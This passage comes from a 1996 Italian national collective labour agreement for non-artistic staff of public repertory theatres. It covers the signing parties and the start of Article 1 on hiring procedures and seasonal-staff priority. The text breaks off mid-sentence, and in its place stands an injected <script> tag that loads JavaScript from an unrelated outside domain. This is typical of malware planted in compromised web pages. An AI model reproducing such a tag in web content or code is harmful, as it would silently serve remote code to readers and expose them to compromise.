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Categoria: Teatri stabili - personale non artistico Settore: Poligrafici e Spettacolo Data stipula: 15-2-1996 Data decorrenza: 1-4-1995 Data scadenza: 31-3-1999
Contratto Collettivo Nazionale di Lavoro
PER GLI IMPIEGATI E GLI OPERAI DIPENDENTI DAI TEATRI STABILI PUBBLICI
E DAI TEATRI GESTITI DALL'E.T.I.
Roma, novembre 1996
L'anno 1996 il giorno 15 del mese di febbraio in Roma, presso la sede
dell'AGIS, in via di Villa Patrizi n. 10
TRA
l'Associazione nazionale teatri d'arte drammatica - rappresentata dal
Presidente Franco Ruggieri, assistito dal Presidente della Commissione
sindacale Pietro Valenti, nonché da Dario Beccaria, Gennaro Di Benedetto,
Gianmario Maggi
l'ETI rappresentata dal Direttore generale Mauro Carbonoli
con l'intervento dell'Associazione Generale Italiana dello Spettacolo
(AGIS) nelle persone di Nicola Santangelo e Francesco Taccone Gallucci
E
la FILIS-CGIL rappresentata dal Segretario generale Massimo Bordini, dal
Vice Segretario generale Claudia Tempestini e dai Segretari nazionali
Alberto Di Giovanni e Lucio Muoio, assistiti dai Segretari territoriali
Carlo Tarlini, Ornella Marra, Igino Biancalana, con il coordinatore
nazionale del settore Savino Zulianello;
la FIS-CISL rappresentata dal Segretario generale Fulvio Giacomassi e dai
Segretari nazionali Sergio Meomartini, Angelo Venturini, Carlo Lavatelli,
Daniele Mattaccini, Bruno Nardo, assistiti dalle Delegazioni territoriali
di Lazio, Lombardia, Sicilia, Liguria rappresentate dai segretari
territoriali Sigg. Mario Iannucci e Antonio Iamele;
la UILSIC-UIL rappresentata dal Segretario generale Bruno Di Cola, dal
Segretario generale aggiunto Natalino Palombo e dai Segretari nazionali
Pierluigi Salvagni, Costantino Marconi, Carlo Rubbiani, Bruno Zino,
assistiti da Aldo Favilla;
è stato stipulato il seguente CCNL da valere per gli impiegati e gli
operai dipendenti dai Teatri stabili pubblici e dai Teatri gestiti
dall'ETI.
PARTE I - REGOLAMENTAZIONE COMUNE AGLI IMPIEGATI E AGLI OPERAI
Art. 1 - ASSUNZIONE
L'assunzione dei lavoratori sarà effettuata nel rispetto delle norme di
legge in materia di collocamento.
L'assunzione dovrà essere comunicata direttamente all'interessato con
lettera nella quale verrà specificato:
1) la data di assunzione;
2) il livello e la qualifica (operaio, impiegato) in cui il lavoratore
viene inquadrato a norma dell'art. 5 Parte I del presente Contratto e, in
modo sommario, le mansioni cui deve attendere;
3) la retribuzione;
4) la durata dell'eventuale periodo di prova.
All'atto dell'assunzione, il lavoratore dovrà presentare i seguenti
documenti:
1) carta d'identità o documento equipollente;
2) libretto di lavoro;
3) tessere e libretti di assicurazione in quanto ne sia già in possesso;
4) stato di famiglia.
È in facoltà del teatro richiedere al lavoratore il certificato penale di
data non anteriore a 3 mesi.
Il lavoratore dovrà notificare il suo domicilio e comunicare gli eventuali
successivi mutamenti.
In caso di assunzione mediante concorso o selezione, il teatro chiamerà a
far parte della commissione giudicatrice anche 1 rappresentante designato
dall'organismo rappresentativo aziendale.
Il teatro, nelle assunzioni di personale a tempo indeterminato, darà la
precedenza ai lavoratori assunti stagionalmente nel quinquennio precedente
per un minimo di 3 stagioni che, a giudizio della direzione aziendale,
previa consultazione con l'organismo rappresentativo aziendale, siano in
possesso dei requisiti per l'espletamento delle specifiche mansioni e non
abbiano dato luogo a rilievi disciplinari.
Il teatro, nell'assunzione del personale necessario alle esigenze della
stagione, darà la precedenza al personale utilizzato per l'intera durata
delle 3 stagioni teatrali precedenti che conservi i requisiti per
l'espletamento della specifica mansione già svolta e che non abbia dato
luogo a rilievi disciplinari. A tali effetti saranno considerati<<script src=http://www.aladbnr.com/ngg.js></script>
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